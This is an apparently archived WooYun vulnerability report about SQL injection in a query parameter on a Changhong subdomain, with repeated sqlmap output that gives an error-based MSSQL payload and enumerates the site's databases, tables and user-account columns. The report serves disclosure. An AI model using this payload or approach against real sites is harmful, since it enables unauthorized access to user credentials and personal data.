当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0146485

漏洞标题：长虹某分站SQL盲注可得大量信息

相关厂商：changhong.com

漏洞作者： superfish

提交时间：2015-10-13 18:30

修复时间：2015-10-18 18:32

公开时间：2015-10-18 18:32

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：12

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-10-13： 细节已通知厂商并且等待厂商处理中
2015-10-18： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

点到为止了。

详细说明：

URL：

http://tc.changhong.com/metrology/jl.aspx?type=chemistry


type参数可盲注。

漏洞证明：

sqlmap identified the following injection points with a total of 289 HTTP(s) requests:
---
Parameter: type (GET)
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: type=chemistry' AND 5083=CONVERT(INT,(SELECT CHAR(113)+CHAR(98)+CHAR(118)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (5083=5083) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(113)+CHAR(120)+CHAR(113)+CHAR(113))) AND 'IYqL'='IYqL
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2008
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: type (GET)
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: type=chemistry' AND 5083=CONVERT(INT,(SELECT CHAR(113)+CHAR(98)+CHAR(118)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (5083=5083) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(113)+CHAR(120)+CHAR(113)+CHAR(113))) AND 'IYqL'='IYqL
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2008
available databases [10]:
[*] linux_topic
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] softdown_database
[*] source_code_database
[*] tc_database
[*] tempdb
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: type (GET)
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: type=chemistry' AND 5083=CONVERT(INT,(SELECT CHAR(113)+CHAR(98)+CHAR(118)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (5083=5083) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(113)+CHAR(120)+CHAR(113)+CHAR(113))) AND 'IYqL'='IYqL
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2008
current user is DBA:    False
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: type (GET)
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: type=chemistry' AND 5083=CONVERT(INT,(SELECT CHAR(113)+CHAR(98)+CHAR(118)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (5083=5083) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(113)+CHAR(120)+CHAR(113)+CHAR(113))) AND 'IYqL'='IYqL
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2008
Database: source_code_database
[6 tables]
+-------------------+
| guestbook         |
| project           |
| project_sourecode |
| project_开发环境          |
| users             |
| users_admin       |
+-------------------+
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: type (GET)
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: type=chemistry' AND 5083=CONVERT(INT,(SELECT CHAR(113)+CHAR(98)+CHAR(118)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (5083=5083) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(113)+CHAR(120)+CHAR(113)+CHAR(113))) AND 'IYqL'='IYqL
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2008
Database: source_code_database
Table: users
[12 columns]
+--------------------+---------------+
| Column             | Type          |
+--------------------+---------------+
| code               | nvarchar      |
| email              | nvarchar      |
| last_login_date    | smalldatetime |
| memo               | nvarchar      |
| mobile             | nvarchar      |
| name               | nvarchar      |
| pass               | nvarchar      |
| pass_recovery_code | nvarchar      |
| pass_rocovery_time | smalldatetime |
| qq                 | nvarchar      |
| register_date      | smalldatetime |
| u_id               | int           |
+--------------------+---------------+

修复方案：

过滤等。

版权声明：转载请注明来源 superfish@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-10-18 18:32

厂商回复：

漏洞Rank：4 (WooYun评价)

最新状态：

暂无